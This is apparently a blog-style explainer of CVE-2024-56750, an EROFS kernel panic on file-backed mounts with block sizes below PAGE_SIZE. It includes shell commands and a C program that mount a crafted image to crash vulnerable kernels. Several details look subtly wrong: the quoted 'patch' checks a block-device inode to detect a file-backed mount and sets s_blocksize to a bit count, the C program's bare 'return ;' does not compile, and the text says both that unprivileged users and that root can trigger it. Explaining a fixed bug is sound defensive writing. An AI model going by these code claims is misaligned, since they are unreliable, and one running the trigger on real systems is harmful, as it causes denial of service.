A recent Linux kernel vulnerability—CVE-2024-56750—affected the EROFS (Enhanced Read-Only File System) module. Specifically, this bug could trigger a kernel panic when a file-backed mount used a block size smaller than the system PAGE_SIZE. This issue has now been patched, but for system administrators, developers, and security enthusiasts, understanding how this bug works is valuable for both defense and education.
This article breaks down what happened, how to spot it with sample code, and why the fix matters.
What is EROFS, and Why Does This Bug Matter?
EROFS is a lightweight, high-performance read-only file system used widely in the Linux ecosystem, notably in Android images. Its key strength lies in efficient storage and decompression, making it a popular choice for space-constrained environments.
The bug in question lurked in the way EROFS handled file-backed mounts (using regular files as backing storage instead of block devices), _when the filesystem block size was smaller than the system's PAGE_SIZE_. If you tried to mount an EROFS image stored as a regular file in such a configuration, the kernel could crash—potentially as a result of unprivileged operations in certain setups.
Root Cause: The Code Behind the Issue
The Linux kernel maintains parameters in the super_block structure (s_blocksize, s_blocksize_bits) that describe storage block sizes. These parameters are normally set using the sb_set_blocksize() helper, which ensures consistency but assumes you're mounting on a block device (not a regular file).
Here's a simplified version of the buggy logic
// Pseudo-code in fs/erofs/super.c
if (fs_block_size < PAGE_SIZE) {
sb_set_blocksize(sb, fs_block_size); // Only works for block devices
}
Problem:
When the backing device is a _regular file_, sb_set_blocksize returns error or panics, as it tries to access members not available for files (non-bdev).
2. Triggering the Bug
Suppose you have an EROFS filesystem image created with a block size _smaller than PAGE_SIZE_ (e.g., 1024 bytes, and PAGE_SIZE is 4096).
You run
# Create a file-backed EROFS image of blocksize 1024
dd if=/dev/zero of=erofs.img bs=1M count=10
# Make the filesystem (requires mkfs.erofs)
mkfs.erofs --block-size=1024 erofs.img some_directory/
# Try to mount it (file-backed, not loop device):
mount -t erofs -o ro erofs.img /mnt/test
What happens?
The kernel tries to run sb_set_blocksize() on a regular file. This is not allowed and causes the kernel to panic! In real life: system crash (DoS).
Relevant Patch Snippet
if (S_ISREG(sb->s_bdev->bd_inode->i_mode)) {
// file-backed: set directly
sb->s_blocksize = blkszbits;
sb->s_blocksize_bits = blkszbits;
} else {
// block device
sb_set_blocksize(sb, blksize);
}
See the patch here:
- LKML Patch
- Git commit
A small C program to trigger the bug (for educational purposes only), to run as root
#include <stdlib.h>
#include <unistd.h>
int main() {
system("dd if=/dev/zero of=/tmp/bad.img bs=1M count=10");
system("mkfs.erofs --block-size=1024 /tmp/bad.img /tmp/");
system("mkdir -p /mnt/exploit");
system("mount -t erofs -o ro /tmp/bad.img /mnt/exploit");
// If your kernel is vulnerable, this may panic.
return ;
}
*Note: Running this on patched kernels will do nothing.*
*Do not use on production!*
Security Impact
- Denial-of-service: Unprivileged users can crash the kernel with a malicious image and the right permissions.
References & Further Reading
- CVE Entry for CVE-2024-56750
- LKML Patch Discussion
- EROFS documentation
- EROFS mkfs Documentation
Conclusion
CVE-2024-56750 is a subtle but impactful EROFS kernel bug. Thanks to swift developer response, a fix is available in mainline and stable kernels. Now, with better understanding, you can help keep Linux systems safer and avoid accidental panics.
Timeline
Published on: 12/29/2024 12:15:08 UTC
Last modified on: 01/06/2025 17:04:58 UTC